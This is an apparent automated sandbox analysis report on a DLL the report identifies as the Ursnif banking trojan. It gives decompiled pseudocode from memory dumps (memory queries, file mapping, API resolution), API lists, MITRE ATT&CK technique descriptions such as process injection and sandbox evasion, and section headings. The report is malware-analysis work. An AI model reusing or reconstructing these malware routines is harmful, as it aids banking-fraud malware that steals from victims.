							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x10004178;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x100041c0 = 1;
										__eflags =  *0x100041c0;
										if( *0x100041c0 != 0) {
											goto L60;
										}
										_t84 =  *0x10004178;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x100041c0 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x10004178 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x10004180 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x1000417c + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x100041c0 = 1;
							__eflags =  *0x100041c0;
							if( *0x100041c0 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x100041c0 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x10004180 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x10004178 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x1000237f
0x10002382
0x10002388
0x100023a6
0x00000000
0x100023a6
0x10002390
0x10002399
0x1000239f
0x100023ae
0x100023b1
0x100023b4
0x100023be
0x100023be
0x100023c0
0x100023c3
0x100023c5
0x100023c5
0x100023c7
0x100023ca
0x00000000
0x00000000
0x100023cc
0x100023ce
0x10002434
0x10002434
0x10002592
0x00000000
0x10002592
0x100023d0
0x100023d0
0x100023d4
0x100023d6
0x100023d6
0x100023d6
0x100023d6
0x100023d9
0x100023da
0x100023dd
0x100023dd
0x100023e1
0x100023e5
0x100023f3
0x100023f3
0x100023fb
0x10002401
0x10002403
0x10002405
0x10002415
0x10002422
0x10002426
0x1000242b
0x1000242d
0x100024ab
0x100024ab
0x1000242f
0x1000242f
0x1000242f
0x100024ad
0x100024af
0x10002590
0x10002590
0x00000000
0x100024b5
0x100024b5
0x100024bc
0x00000000
0x00000000
0x100024c2
0x100024c6
0x10002522
0x10002524
0x1000252c
0x1000252e
0x10002530
0x00000000
0x00000000
0x10002532
0x10002538
0x1000253a
0x1000253c
0x10002551
0x10002551
0x10002553
0x10002582
0x10002589
0x00000000
0x10002589
0x10002557
0x10002558
0x1000255a
0x1000255c
0x1000255c
0x1000255e
0x10002560
0x10002562
0x10002576
0x10002576
0x10002579
0x1000257b
0x1000257b
0x1000257c
0x1000257c
0x00000000
0x10002564
0x10002564
0x10002564
0x1000256d
0x1000256e
0x10002570
0x10002572
0x10002572
0x00000000
0x10002564
0x10002562
0x1000253e
0x10002545
0x10002545
0x10002547
0x00000000
0x00000000
0x10002549
0x1000254a
0x1000254d
0x1000254f
0x00000000
0x00000000
0x00000000
0x1000254f
0x00000000
0x10002545
0x100024c8
0x100024cb
0x100024d0
0x00000000
0x00000000
0x100024d9
0x100024db
0x100024e1
0x00000000
0x00000000
0x100024e7
0x100024ed
0x00000000
0x00000000
0x100024f3
0x100024f5
0x100024fe
0x10002502
0x00000000
0x00000000
0x10002508
0x1000250b
0x1000250d
0x00000000
0x00000000
0x10002514
0x10002516
0x00000000
0x00000000
0x10002518
0x1000251c
0x00000000
0x00000000
0x00000000
0x1000251c
0x00000000
0x00000000
0x00000000
0x10002407
0x10002407
0x10002407
0x1000240e
0x00000000
0x00000000
0x10002410
0x10002411
0x10002413
0x00000000
0x00000000
0x00000000
0x10002413
0x1000243b
0x1000243d
0x00000000
0x00000000
0x1000244d
0x1000244f
0x10002451
0x00000000
0x00000000
0x10002457
0x1000245e
0x1000248a
0x1000248a
0x1000248c
0x1000248e
0x100024a2
0x100024a4
0x00000000
0x00000000
0x00000000
0x00000000
0x10002490
0x10002490
0x10002490
0x10002499
0x1000249a
0x1000249c
0x1000249e
0x1000249e
0x00000000
0x10002490
0x10002460
0x10002463
0x10002465
0x10002477
0x10002477
0x1000247a
0x1000247c
0x1000247c
0x1000247d
0x1000247d
0x10002483
0x00000000
0x00000000
0x00000000
0x00000000
0x10002467
0x10002467
0x10002467
0x1000246e
0x00000000
0x00000000
0x10002470
0x10002470
0x10002471
0x00000000
0x00000000
0x00000000
0x10002471
0x10002473
0x10002475
0x10002488
0x00000000
0x00000000
0x00000000
0x10002488
0x00000000
0x10002475
0x100023e7
0x100023ea
0x100023ed
0x00000000
0x00000000
0x100023ef
0x100023f1
0x00000000
0x00000000
0x00000000
0x100023f1
0x100023b6
0x100023b8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 10002426

Memory Dump Source

Source File: 00000003.00000002.478658021.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.478640999.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.478706873.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
Instruction ID: 0c254990f4eddd9df484f3b683da5194678d0c4feb8b8adbfe3d5bca3f7d4cb2
Opcode Fuzzy Hash: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
Instruction Fuzzy Hash: 3861E170A00A52DFFB19CF28CCE065937E5EB893D5F628439D856C729DEB30DD828A54

Uniqueness

Uniqueness Score: -1.00%

Function 1000102F, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E1000102F(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L10002100();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x10004150;
				_push(_t15 + 0x1000505e);
				_push(_t15 + 0x10005054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L100020FA();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t34 = CreateFileMappingW(0xffffffff, 0x10004140, 4, 0, _t18,  &_v60);
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0);
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x1000102f
0x10001038
0x1000103c
0x10001042
0x10001047
0x1000104c
0x1000104f
0x10001052
0x10001057
0x10001058
0x1000105b
0x10001066
0x1000106d
0x10001071
0x10001073
0x10001074
0x10001077
0x1000107c
0x10001086
0x10001088
0x10001088
0x100010a2
0x100010a6
0x100010f6
0x100010a8
0x100010b1
0x100010c7
0x100010cf
0x100010e1
0x100010e5
0x00000000
0x00000000
0x100010d1
0x100010d4
0x100010d9
0x100010db
0x100010db
0x100010bc
0x100010be
0x100010e7
0x100010e8
0x100010e8
0x100010b1
0x100010fe

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 1000103C
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 10001052
_snwprintf.NTDLL ref: 10001077
CreateFileMappingW.KERNEL32(000000FF,10004140,00000004,00000000,?,?), ref: 1000109C
GetLastError.KERNEL32 ref: 100010B3
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 100010C7
GetLastError.KERNEL32 ref: 100010DF
CloseHandle.KERNEL32(00000000), ref: 100010E8
GetLastError.KERNEL32 ref: 100010F0

Memory Dump Source

Source File: 00000003.00000002.478658021.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.478640999.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.478706873.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
Instruction ID: fd2cfec1e864bf63db9aaa2ee4e5368c07c46789b5c4626883214d07a46f71c5
Opcode Fuzzy Hash: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
Instruction Fuzzy Hash: 6821CFB2500258BFE721EFA8CCC4EDE77ADEB483D0F118136F615D7159DAB099858BA0

Uniqueness

Uniqueness Score: -1.00%

Function 10001A0F, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001A0F(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E10001DE1(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x10004150 + 0x10005014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x10004150 + 0x10005151);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E10001DFC(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x10004150 + 0x10005161);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x10004150 + 0x10005174);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x10004150 + 0x10005189);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x10004150 + 0x1000519f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E10001EB5(_t56, _a12);
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x10001a1d
0x10001a21
0x10001ae2
0x10001a27
0x10001a3f
0x10001a4e
0x10001a55
0x10001a59
0x10001a5c
0x10001ada
0x10001adb
0x10001a5e
0x10001a6b
0x10001a6f
0x10001a72
0x00000000
0x10001a74
0x10001a81
0x10001a85
0x10001a88
0x00000000
0x10001a8a
0x10001a97
0x10001a9b
0x10001a9e
0x00000000
0x10001aa0
0x10001aad
0x10001ab1
0x10001ab4
0x00000000
0x10001ab6
0x10001abc
0x10001ac2
0x10001ac7
0x10001ace
0x10001ad1
0x00000000
0x10001ad3
0x10001ad6
0x10001ad6
0x10001ad1
0x10001ab4
0x10001a9e
0x10001a88
0x10001a72
0x10001a5c
0x10001af0

APIs

Part of subcall function 10001DE1: HeapAlloc.KERNEL32(00000000,?,10001556,00000208,00000000,00000000,?,?,?,100016A9,?), ref: 10001DED

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,10001E4D,?,?,?,?,?,00000002,?,10001401), ref: 10001A33
GetProcAddress.KERNEL32(00000000,?), ref: 10001A55
GetProcAddress.KERNEL32(00000000,?), ref: 10001A6B
GetProcAddress.KERNEL32(00000000,?), ref: 10001A81
GetProcAddress.KERNEL32(00000000,?), ref: 10001A97
GetProcAddress.KERNEL32(00000000,?), ref: 10001AAD

Part of subcall function 10001EB5: memset.NTDLL ref: 10001F34

Memory Dump Source

Source File: 00000003.00000002.478658021.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.478640999.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.478706873.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocHandleHeapModulememset
String ID:
API String ID: 426539879-0
Opcode ID: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
Instruction ID: 8e690bc40ad544dced62eb57c6a0da5a983291de411777cdb34876cf766fb635
Opcode Fuzzy Hash: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
Instruction Fuzzy Hash: 5F2117B1601B1AAFE750DFA9DC84EDB7BECEF493C07024466E905C7219EB31E9018B61

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report t6ygT2aU8p.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: loaddll32.exe PID: 3512 Parent PID: 5588

General

Chronological Activities

Analysis Process: cmd.exe PID: 4316 Parent PID: 3512

General

Chronological Activities

Function 007D5F16, Relevance: 2.8, APIs: 1, Instructions: 1269
memoryCOMMONCrypto

Function 007D709D, Relevance: 3.1, APIs: 2, Instructions: 115
memoryCOMMON

Function 007D1B1E, Relevance: 1.4, Strings: 1, Instructions: 109
COMMONCrypto

Function 007D3A14, Relevance: .9, Instructions: 925
COMMONCrypto

Function 007D5262, Relevance: .7, Instructions: 740
COMMONCrypto

Function 007D5378, Relevance: .7, Instructions: 726
COMMONCrypto

Function 007D31B3, Relevance: .6, Instructions: 646
COMMONCrypto

Function 007D3FAB, Relevance: .6, Instructions: 566
COMMONCrypto

Function 007D1CD0, Relevance: .6, Instructions: 565
COMMONCrypto

Function 007D43D8, Relevance: .4, Instructions: 371
COMMONCrypto

Function 007D5A25, Relevance: .3, Instructions: 281
COMMONCrypto

Function 007D2FAF, Relevance: .2, Instructions: 210
COMMONCrypto

Function 007D2A69, Relevance: .2, Instructions: 161
COMMONCrypto

Function 007D150C, Relevance: .1, Instructions: 104
COMMONCrypto

Function 007D1967, Relevance: .1, Instructions: 101
COMMONCrypto

Function 007D88BA, Relevance: .1, Instructions: 95
COMMONCrypto

Function 007D27D4, Relevance: .1, Instructions: 93
COMMONCrypto

Function 007D13C5, Relevance: .1, Instructions: 90
COMMONCrypto

Function 007D2566, Relevance: .1, Instructions: 84
COMMONCrypto

Function 007D92B2, Relevance: .1, Instructions: 78
COMMONCrypto

Function 006F5F16, Relevance: 2.8, APIs: 1, Instructions: 1269
memoryCOMMONCrypto

Function 006F709D, Relevance: 3.1, APIs: 2, Instructions: 115
memoryCOMMON

Function 1000163F, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Function 00A35F16, Relevance: 2.8, APIs: 1, Instructions: 1269
memoryCOMMONCrypto

Function 10001AFA, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Function 100012DC, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Function 100018F4, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Function 1000111A, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Function 00A3709D, Relevance: 3.1, APIs: 2, Instructions: 115
memoryCOMMON

Function 10001850, Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Function 10001745, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Function 10002375, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Function 1000102F, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Function 10001A0F, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON